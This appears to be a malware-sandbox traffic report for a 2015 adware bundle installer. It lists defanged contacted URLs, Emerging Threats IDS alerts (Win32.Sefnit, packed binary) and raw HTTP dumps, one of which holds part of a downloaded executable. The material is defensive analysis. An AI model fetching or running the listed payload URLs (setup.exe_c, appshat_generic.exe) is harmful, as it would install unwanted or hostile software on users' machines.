hxxp://www.appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=IF2Awsmtycl&name=ShopperPro
hxxp://www.google-analytics.com/analytics.js
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png
hxxp://bi.bisrv.com/installer/ajax
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Awsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=IF2Awsmtycl
hxxp://www.appshat.com/thumbnails/icon/images/assets/6/a/6a12dc1a298e870b610a58a56ba0f5ec.jpg
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&0.5924351996598894
hxxp://install.sourceapp.info/fp?alpha=ejx6ZCYrNGddMHJhVU4pe3gpaSZ6YGwVZ109O3t6fSh3ZGB4TXMQSgkLF2R3Oy12RS5nThMQZntILzlGYhtzZCNmSjp9VV8WancwX2gBaTk5PXkoeG0kLRAjBFJ6JjN/aDtwIipGcxtKfXtmf3QgL3cwWXtCFGJ5ZzorOiYtKlhpNml5aTp1NmVqcXdSLAQKNGkgbDIrfGgnCCMNQn5zJy1kNnEnP0F6Ak5xbjRgZ3Utb2MOah4WcDY7N0tgbyo3XyxAcGtrIH50PDM2KlN/HHZATDYudy5hOy8ZJwxUeCQsLS56f0R2Hi5NDztuEjchc3QrZBgUBhdvZ2I9KQImOixfMF1lPjB4JF9lanwCDjt9FyJNJX0oC2U6KwUnDFRxVDgPalQGVy1iZXABLi4p
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=365954666&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2102596164&cid=1024568755.1423540823&tid=UA-40752970-2&_r=1&z=473279495
hxxp://ocsp2.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg==
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US	63.245.217.39
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/images/logo.png
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/images/flv_02.jpg
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=500&n=deploy_notification_start_funnel_step_name&rnd=1423540804
hxxp://install.sourceapp.info/mg?alpha=aU4RaDF3DytoUWxHPkI VgdTezQ3XRVUcRJDTG9vPEo8PnQqcUYTVmkOfBsRM1gJOkQdTGJudANKXUYjbW1wGjIHPyEANT1ncxtiAx0 Uj4rUhc5bX9LRAkxHyATNy1vH01jNDwyEQNfawwNbmA1WBQ9TWkuJil NhUANWI9DTA5SgdMWXE3MhcBZ2YURGcHOSxWAWQrckhSQW9MLRJ8SR0 Hj4n
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&0.5144070935991083
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/images/gui_btn.png
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=hWfaA75NtHG5d3h2ae4PEXFA8SMhVDHu5SYLgV1GP45f IV2qJnldbZkyCO60G3s5BETRwXuWt/ TphA8Cf5yZ4vDfViB/qhLnCMwJJTkXpOiRT1yE23FocxrkTwtdhdKPhEFY5XZBJPMXncQenCC3JF1S42 BeaImPFRYkh3ej9DDxdB8IX3/IOb5O/qAEzG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4ZfsxqfyI5BBtx/ZVdNGi4auzgN391U6xN48Nx4Zw7zkxPTnaBmB2LZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHntdHrE4rSVKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRjbYe5xwzoVIINNqMzD9WUg==
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540772&SBPIDS=1
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.833791825113266
hxxp://3026708.r.msn.com/?type=1&domainId=3026708&dedup=1&actionid=238238	207.46.194.3
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/4/f4e4b853ddab3b763f0af17d513631bd.png
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://www.bigspeedpro.com/webplayer/flvplayer/config.json
hxxp://crl.geotrust.com/crls/secureca.crl
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=	23.43.139.27
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=KC46TpkJIZzvtemz1TdLVrDpZe2yTinl62ls PLHCLAq gheK7Gg4DYaplvWkff44nTb6ugC6Ctc8vOzKdCq69YWEGuVyPbKuYb0cBP340pyxpcczop0tDrivPGjoLLtG2u1qI5AhqfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfwGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOdCa//I/ROcQbVGG/Xal99ijhKIPjTcuiw=	54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&0.9930856429677359
hxxp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=XJYuqQQo69eJxiP7f9a/G/SDTbAQE8QivRI3A5nbHDjdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jd8cMSGOxTWOZuS0/O3oV2rxodeePw 5cUdUabHcsOaSX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDqXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev59KkXGMmB33va5YssnN0Iq5rjUSno28rdQmnv N4UgHzaTF1Kz92D3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirWDyGWfVAQ/TynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc1AiPRrwSalm
hxxp://install.sourceapp.info/ii?alpha=fThCZHBmAVgaRTkubU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAlKzNnEFU3Anh3KXpUYzsBMSoIcD0gQTY6P2hBajJUWxlzJDs1QTAgPhAXRGw9JThvICEwRy8Ff04seDNnOxE5cC84YRhZQDdlG2BzJxAoZVQ1U1Msa3sDdjB7OxMFIlISVnkvPTxcfwhxFwBNXSAsGnJGeHATbks+Xit2UiNhRW0lOzRhOldPKn5oZmoxFiJ8XmYkAGI5OkUrK209FggzXhQGfz8ueV4jJnNUSAIfYXpIPWJ9fxlmAQgQezprImYDIAMmNHoxUgNZRCkyeSdNd3tHNTAcLD1kSXw6OnsaEXAXV0AkeiY4E3J1IkFCGBt5cFxjKyEvTTYIaxpoa1QceUJ6M2R9WBlBQnhVaBB1JhAkdF0oVxoRTEc9JVgyfkwIBF4QGXU5bTxAIXgpUggfH08fBD1Ufnw=
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9661696023962157
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTFirefox&rnd=1423540776&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQ1bF907Kb2gsfJKZ4NCKSCQ==	54.197.238.106
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/d/7d4f668f3d1818d01b6b9684b669d0db.png
hxxp://www.superfish.com/ws/side_slider/main.js?ver=2015.2.9.16.26
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a64a4b5c68c364d30083fbd0b0363585.png
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423540802
hxxp://www.superfish.com/ws/tu.action?userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=	108.162.232.203
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.43.139.27
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
hxxp://www.google-analytics.com/ga.js
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.5153714941316139
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=JSsmtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://logs.ourgendataservice.com/monetization.gif?event=4&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?0ca76ece53aaf28a
hxxp://www.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.9.16.26
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js
hxxp://www.appshat.com/thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1423540804
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423540807
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_c
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png
hxxp://www.bigspeedpro.com/webplayer/flvplayer/32x32.ico
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8WoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6AUq9vGFcnz4PEn7DqvLFbw==	54.197.238.106
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://fonts.googleapis.com/css?family=Abel
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423540806
hxxp://www.appshat.com/css/main.css
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.5265121811415413
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.4492349438105252
hxxp://ocsp2.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423540804

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET TROJAN Win32.Sefnit
ET POLICY Executable served from Amazon S3
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /css?family=Abel HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/css

Timing-Allow-Origin: *

Expires: Tue, 10 Feb 2015 04:00:10 GMT

Date: Tue, 10 Feb 2015 04:00:10 GMT

Cache-Control: private, max-age=86400

Content-Length: 155

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0.02
@font-face {.  font-family: 'Abel';.  font-style: normal;.  font-weigh
t: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq9
2S8_9w.eot);.}.HTTP/1.1 200 OK..Content-Type: text/css..Timing-Allow-O
rigin: *..Expires: Tue, 10 Feb 2015 04:00:10 GMT..Date: Tue, 10 Feb 20
15 04:00:10 GMT..Cache-Control: private, max-age=86400..Content-Length
: 155..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..X
-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:qu
ic,p=0.02..@font-face {.  font-family: 'Abel';.  font-style: normal;. 
 font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/abel/v6/3YEwT
2a1878zysq92S8_9w.eot);.}...

GET /Fan/rebirth?uid=535559167_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: up.soft365.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:58 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

15............3..!.........0..HTTP/1.1 200 OK..Server: nginx..Date: Tu
e, 10 Feb 2015 03:59:58 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3..!.........0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JOLXL_qOp5A3xxXCMKDGHT665-2m1wATQt2YmPKdIRfn6c-MWEqnmA==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
